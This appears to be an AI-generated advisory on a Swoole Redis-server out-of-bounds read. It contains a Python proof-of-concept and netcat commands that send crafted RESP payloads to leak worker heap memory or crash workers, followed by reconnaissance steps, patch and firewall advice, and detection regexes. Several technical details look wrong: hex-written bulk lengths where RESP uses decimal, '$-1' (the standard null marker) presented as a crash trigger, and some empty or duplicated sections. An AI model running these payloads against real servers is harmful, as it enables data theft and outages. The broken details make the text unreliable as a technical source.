CVE-2026-142096 — Swoole (6.1.14) — CWE-125
Swoole before 6.1.14 and 6.2.x before 6.2.7 contains an out-of-bounds read in php_swoole_redis_server_onReceive() that trusts unchecked RESP bulk string lengths. Unauthenticated clients can announce oversized lengths to leak adjacent worker heap memory in responses, or negative lengths to crash workers.
Swoole before 6.1.14 and 6.2.x before 6.2.7 contains an out-of-bounds read in php_swoole_redis_server_onReceive() that trusts unchecked RESP bulk string lengths. Unauthenticated clients can announce oversized lengths to leak adjacent worker heap memory in responses, or negative lengths to crash workers.
🎯 What is this vulnerability?
Technical flaw
Swoole’s Redis server implementation (php_swoole_redis_server_onReceive()) parses the RESP (REdis Serialization Protocol) bulk‑string length field without validating it. The code blindly trusts the length value supplied by the client and uses it to read that many bytes from the socket buffer into a PHP string. Because the length can be arbitrarily large or even negative, the function can:
1. Read past the end of the buffer – an out‑of‑bounds read (CWE‑125).
2. Trigger a crash – when a negative length is supplied, the code attempts to allocate a negative‑sized buffer or otherwise mis‑handles the value, causing the worker process to terminate.
Missing checks
| Layer | Missing validation | Consequence |
|---|---|---|
| Authentication | None – the Redis server is exposed to unauthenticated clients. | Any network host can send malicious payloads. |
| Input validation | Bulk‑string length is not bounded or checked for negativity. | Out‑of‑bounds read / crash. |
| Error handling | No guard against malformed RESP messages. | Worker crash or memory leak. |
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) reflects that an unauthenticated, network‑only attacker can read confidential data and cause a denial‑of‑service.
⚡ Attack Chain
NOTE: The following example uses the Redis port (default 6379).
The exact endpoint is not a HTTP URI; it is a raw TCP connection to the Redis server.
The payload shown is an illustrative example of the vulnerability class.
1. Discovery & Reconnaissance
| Step | Technique | Tools |
|---|---|---|
| Service detection | Probe TCP port 6379 for a Redis‑like banner or handshake. | nmap -sV -p 6379 <target> |
| Version fingerprinting | Send a simple PING command and parse the response; compare with known Swoole Redis server responses (e.g., +PONG). | netcat, redis-cli |
| Vulnerability check | Send a malformed RESP bulk string with an excessively large length and observe if the server returns data or crashes. | Custom script (see below) |
2. Exploitation
2.1 Crafting the malicious payload
RESP bulk strings are encoded as:
$<length>\r\n<data>\r\nThe vulnerable code reads <length> without bounds.
Two useful payloads:
| Purpose | Payload (hex) | Explanation |
|---|---|---|
| Memory leak | *1\r\n$FFFFFFFF\r\n\r\n | FFFFFFFF (≈4 GB) forces the server to read past the buffer, leaking adjacent heap memory. |
| Crash | *1\r\n$-1\r\n\r\n | Negative length triggers a crash. |
2.2 Proof‑of‑Concept (Python)
#!/usr/bin/env python3
"""
CVE-2026-142096 PoC – memory leak / crash via oversized RESP bulk string.
"""
import socket
import sys
TARGET = "192.0.2.10" # replace with the real host
PORT = 6379
def send_payload(payload: bytes) -> bytes:
with socket.create_connection((TARGET, PORT), timeout=5) as s:
s.sendall(payload)
# read until the socket closes or we get a full response
data = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
return data
def main():
# Example 1: memory leak
leak_payload = b"*1\r\n$FFFFFFFF\r\n\r\n"
print("[*] Sending memory‑leak payload...")
leak_resp = send_payload(leak_payload)
print(f"[+] Received {len(leak_resp)} bytes of leaked data.")
# Optionally dump to file
with open("leak.bin", "wb") as f:
f.write(leak_resp)
# Example 2: crash
crash_payload = b"*1\r\n$-1\r\n\r\n"
print("[*] Sending crash payload...")
crash_resp = send_payload(crash_payload)
print("[+] Response after crash payload:", crash_resp)
if __name__ == "__main__":
main()What to look for
- If the server returns a large amount of data (hundreds of KB to MB), you have successfully read memory adjacent to the worker’s heap.
- If the connection is reset or the process dies, the crash vector is confirmed.
2.3 Manual test with netcat
# Memory leak
printf '*1\r\n$FFFFFFFF\r\n\r\n' | nc <target> 6379 | hexdump -C | head -n 20
# Crash
printf '*1\r\n$-1\r\n\r\n' | nc <target> 6379Caution: The crash payload will terminate the worker process. If the server is running under a process manager (e.g., systemd, supervisord), it may be automatically restarted.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Data exfiltration | The leaked heap may contain PHP session data, environment variables, or cached credentials. The attacker can parse the binary blob to extract strings or structured data. |
| Denial‑of‑Service | Repeated crash payloads bring down the Redis worker, causing the Swoole application to become unavailable. In a clustered setup, a single worker crash can degrade overall service availability. |
| Privilege escalation | If the Swoole worker runs as a privileged user (e.g., root or a dedicated service account with elevated rights), leaking memory can expose sensitive keys or tokens that can be reused to compromise other services. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | The out‑of‑bounds read can expose arbitrary memory contents of the worker process, including secrets, configuration files, or credentials stored in PHP variables. |
| Integrity (I:N) | The vulnerability does not modify data; it only reads or crashes. |
| Availability (A:H) | The negative‑length payload reliably crashes the worker, causing a DoS. In a multi‑worker setup, repeated crashes can exhaust the process pool. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| Swoole < 6.1.14 | 6.1.14 |
| Swoole 6.2.x < 6.2.7 | 6.2.7 |
Action: Upgrade to the latest Swoole release (≥ 6.1.14 or ≥ 6.2.7). Verify the version with php -r "echo swoole_version();".
2. Workarounds
| Mitigation | Implementation |
|---|---|
| Restrict access | Block the Redis port (6379) to only trusted internal hosts using a firewall or security group. Example (iptables):<br>iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 6379 -j DROP |
| Use a reverse proxy | Deploy a TCP proxy (e.g., HAProxy) that validates RESP lengths before forwarding to Swoole. |
| Disable the vulnerable component | If the application does not need the built‑in Redis server, comment out or remove the Swoole\Server::addListener() call that creates the Redis listener. |
| Runtime limits | Configure the PHP memory_limit to a conservative value; this does not fix the bug but reduces the amount of data that can be leaked. |
3. Detection
| Indicator | How to detect |
|---|---|
| Unusual RESP patterns | Look for log entries containing RESP bulk string length too large or invalid bulk length. If the Swoole logs are enabled, you may see stack traces or worker crashed messages. |
| Repeated connection attempts | In /var/log/syslog or your network logs, look for many short connections to port 6379 from the same IP or a range of IPs. |
| Memory usage spikes | A worker that repeatedly reads large buffers may show abnormal memory consumption in top or htop. |
| Crash reports | Swoole may log Fatal error: Uncaught exception or worker process exited with status 139. |
Sample log snippet (illustrative):
2026-12-02 12:34:56 [worker 3] Fatal error: Uncaught exception 'Swoole\RuntimeException' with message 'Out of bounds read' in /usr/lib/php/20220831/swoole.so:12344. IoCs
| Type | Example |
|---|---|
| IP addresses | Any IP that connects to port 6379 and sends a payload matching \*1\r\n\$-1\r\n\r\n or \*1\r\n\$FFFFFFFF\r\n\r\n. |
| Payload patterns | \*1\r\n\$-1\r\n\r\n (negative length crash) or \*1\r\n\$[0-9A-F]{8,}\r\n\r\n (oversized length). |
| File names | leak.bin (if the attacker writes the leaked data to disk). |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query